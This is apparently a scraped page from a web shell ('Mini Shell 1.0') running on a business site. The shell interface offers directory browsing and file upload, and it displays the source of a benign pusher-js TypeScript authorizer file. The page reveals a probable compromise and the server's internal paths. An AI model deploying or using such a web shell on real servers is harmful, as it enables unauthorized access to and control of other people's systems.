HOME


Mini Shell 1.0
Negocios La Pieza.DO | Registrate o Inicia Sesión

Inicie Sesión en su Cuenta de Negocios

Olvidó Contraseña?
DIR: /var/www/negocios.lapieza.do/node_modules/pusher-js/src/core/auth/
Upload File :
Current File : /var/www/negocios.lapieza.do/node_modules/pusher-js/src/core/auth/deprecated_channel_authorizer.ts
import Channel from '../channels/channel';
import {
  ChannelAuthorizationCallback,
  ChannelAuthorizationHandler,
  ChannelAuthorizationRequestParams,
  InternalAuthOptions
} from './options';

export interface DeprecatedChannelAuthorizer {
  authorize(socketId: string, callback: ChannelAuthorizationCallback): void;
}

export interface ChannelAuthorizerGenerator {
  (
    channel: Channel,
    options: DeprecatedAuthorizerOptions
  ): DeprecatedChannelAuthorizer;
}

export interface DeprecatedAuthOptions {
  params?: any;
  headers?: any;
}

export interface DeprecatedAuthorizerOptions {
  authTransport: 'ajax' | 'jsonp';
  authEndpoint: string;
  auth?: DeprecatedAuthOptions;
}

export const ChannelAuthorizerProxy = (
  pusher,
  authOptions: InternalAuthOptions,
  channelAuthorizerGenerator: ChannelAuthorizerGenerator
): ChannelAuthorizationHandler => {
  const deprecatedAuthorizerOptions: DeprecatedAuthorizerOptions = {
    authTransport: authOptions.transport,
    authEndpoint: authOptions.endpoint,
    auth: {
      params: authOptions.params,
      headers: authOptions.headers
    }
  };
  return (
    params: ChannelAuthorizationRequestParams,
    callback: ChannelAuthorizationCallback
  ) => {
    const channel = pusher.channel(params.channelName);
    // This line creates a new channel authorizer every time.
    // In the past, this was only done once per channel and reused.
    // We can do that again if we want to keep this behavior intact.
    const channelAuthorizer: DeprecatedChannelAuthorizer = channelAuthorizerGenerator(
      channel,
      deprecatedAuthorizerOptions
    );
    channelAuthorizer.authorize(params.socketId, callback);
  };
};